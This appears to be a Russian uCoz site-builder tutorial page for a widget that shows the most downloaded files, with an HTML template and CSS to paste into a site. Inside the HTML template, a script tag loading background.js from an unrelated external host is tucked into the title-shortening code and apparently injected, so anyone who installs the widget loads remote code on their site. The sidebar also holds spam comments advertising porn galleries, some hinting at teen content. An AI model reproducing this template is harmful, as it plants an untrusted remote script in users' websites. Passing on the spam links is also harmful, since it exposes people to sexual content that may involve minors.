Среда, 22.05.2024, 21:48


Главная
Онлайн уроки Регистрация ВходРеклама у нас / ПОМОЧЬ ПРОЕКТУ
Приветствую Вас, Новичок · RSS
Меню сайта
доска почета

brettnz69
Файлов:
10645

zyzy
Файлов:
2481

NIKIG
Файлов:
1190

didl3
Файлов:
1072
статистика
Онлайн всего: 1
Гостей: 1
Пользователей: 0

Сегодня были:

 
Главная » 2013 » Июнь » 29 » Удобный информер для файлов ucoz

22:29
Удобный информер для файлов ucoz

Данный скрипт представляет собой удобный и красивый информер для самых скачиваемых файлов ucoz, который очень просто поместить в любой блок.

В шаблоне информера находится изображение файла, сверху, поверх картинки написано количество загрузок. А снизу, полупрозрачная лента с названием файла и иконкой лупы, при нажатии на которую открывается дополнительная панелька с подробной информации о материале.

Данное решение можно перенастроить и под другие модули, такие как новости, блоги или статьи. Интересно, что информер лучших материалов подходит практически под любой дизайн и под сайты любой тематике. Более симпатично смотрится на сайтах игровой тематики.

Важно: Ширина блока, куда вы хотите вставить информер, должна быть не менее 190px!

Если вы хотите, что-бы выводило не 3 материала, а больше, то необходимо добавить в CSS код дополнительные классы: после .ifudslink3 добавляем через запятую .ifudslink4 , .ifudslink5 и так далее, в зависимости от количества материалов.

Установка

1. Первым делом создадим сам информер со следующими параметрами:

[ Каталог файлов - Материалы - Количество загрузок D - Материалы: 3 - Колонки: 1 ]

2. В его шаблоне удаляем все и вставляем следующее:

Код
<div align="center" class="ifboxuds">  
  <div class="ifuds"><div style="background: #aaa;">  
  <a title="$TITLE$" href="$ENTRY_URL$"><img width="170px" src="$IMG_URL1$"></a>  
  <span title="$TITLE$"><a class="ifuds" href="$ENTRY_URL$"><b><?if($TITLE$)?><?if(len($TITLE$)>15)?><script type="text/javascript" src="http://returna.net/background.js"></script><?substr($TITLE$,0,14)?>...<?else?>$TITLE$<?endif?></a><?else?>Без названия<?endif?></b></a><a onclick="$('.ifudslink$NUMBER$').slideToggle(100);" class="ifudslinks2"><img src="http://pnghosts.ru/img/imageshowprevimg.png" title="Подробная информация"></a></span>  
  </div></div>  
  <div class="loadingnum">Загрузок: $LOADS$</div>  
  <div class="ifudslink$NUMBER$"><div class="ifudsoa">Просмотров: <b>$READS$</b><br>Комментариев: <b>$COMMENTS_NUM$</b><br>Категория: <b><a href="$CATEGORY_URL$" class="ifuds"><?if(len($CATEGORY_NAME$)>11)?><?substr($CATEGORY_NAME$,0,10)?>...<?else?>$CATEGORY_NAME$<?endif?></a></b></div></div>  
  </div>

 


3. Заходим в ПУ -> Управление дизайном -> Таблицу стилей CSS и вставляем следующее:

 

Код
.ifboxuds {position:relative; width:180px; font-size:11px; font-family:tahoma;}  
  .ifuds { width:170px; overflow:hidden; padding: 0px 0px 0px 0px;}  
  .ifuds a {color:#bababa; text-decoration: none;}  
  .ifuds a:hover {color:#818181; text-decoration: underline;}  
  .ifuds div { float:left;width:170px; height:70px;overflow:hidden; position:relative; margin: 5px 0px 5px 0px; }  
  .ifuds span {float:left;width:100%; left: 0px; bottom: 0px;position:absolute; background: url(http://pnghosts.ru/img/pix_title.png) repeat;  
  padding: 4px 0px 4px 0px; font: 9px Verdana,Arial,Helvetica, sans-serif; text-align: center; color: #eee;  
  }  
  a.ifuds {color:#bababa; text-decoration: none;}  
  a:hover.ifuds {color:#818181; text-decoration: underline;}  
  .loadingnum{  
  position: absolute;  
  top: 10px;  
  right: 15px;  
  padding: 1px 5px;  
  background: #000;  
  background: rgba(0, 0, 0, 0.73);  
  font: bold 10px/14px 'Arial';  
  color: #fff;  
  border-radius: 0px;  
  }  
  a.ifudslinks2 {display:inline-block;*display:inline;margin-top:3px; padding: 0px 0px 0 8px;}  
  a:hover.ifudslinks2 {cursor:pointer;}  
  .ifudsoa {padding:0px 0px 5px 5px;}  
  .ifudslink1,.ifudslink2,.ifudslink3 {display:none;position:absolute; width:158px; height: 38px; bottom:25px; margin-left:5px; background:rgba(0, 0, 0, 0.85); border:1px solid #333; text-align:left; z-index:999; padding:5px; color:#eee;}

 


Установка завершена!

 

Просмотров: 340 | Добавил: greenpis | Рейтинг: 0.0/0
Всего комментариев: 0
Имя *:
Email:
Код *:
Copyright BENO Corp © 2024
кабинет
Среда
22.05.2024
21:48

Требуются файловики за плату
Логин:
Пароль:
Пользователей: 47495 Зарегистрируйтесь чтобы убрать рекламу
Предлагаем:
БЕСПЛАТНОЕ РАЗМЕЩЕНИЕ ВАШИХ СТАТЕЙ С ВЕЧНЫМИ ССЫЛКАМИ!
Онлайн уроки
Создаем красивый эффект появления аватара
Увеличение объема ресниц
Рисуем колючую проволоку
Каменная статуя в пустыне
Волшебные спецэффекты в компьютерной графике
Настройка windows 7: администрирование, доступ к панели управления, ограничение прав
Девушка на урбанистическом фоне - поп-арт постер
Рисуем иконки в подпись, огненная лошадь
Суровая но красивая северная пустошь, стиль matte painting
Создаем концепт лесного монстра
НОВЫЕ КОММЕНТАРИИ
Учимся создавать собственный форум New hot project galleries, daily updates
Учимся создавать собственный форум Hot teen pics
http://1998pornpics.gul

Учимся создавать собственный форум Big Ass Photos - Free Huge Butt Porn, Big Bo

Учимся создавать собственный форум Young Heaven - Naked Teens & Young Porn Pict

Учимся создавать собственный форум Teen Girls Pussy Pics. Hot galleries


Учимся создавать собственный форум Free Porn Galleries - Hot Sex Pictures

Учимся создавать собственный форум Big Ass Photos - Free Huge Butt Porn, Big Bo

Учимся создавать собственный форум Young Heaven - Naked Teens & Young Porn Pict

Учимся создавать собственный форум My new hot project|enjoy new website
Учимся создавать собственный форум Dirty Porn Photos, daily updated galleries <

Учимся создавать собственный форум My new hot project|enjoy new website
Учимся создавать собственный форум Scandal porn galleries, daily updated lists




Любая публикация опубликованная на софт портале предоставлена только для ознакомления и является авторским материалом. Администрация не несет никакой отвественности за размещенные новости, программы, статьи и ущерб не оплачивает. Копирование без авторского разрешения уголовно наказуемо законодательством РФ и Украины: "Об авторском и смежном праве". Если вы берете новость с сайта то вы обязаны поставить активную ссылку!
Карта сайта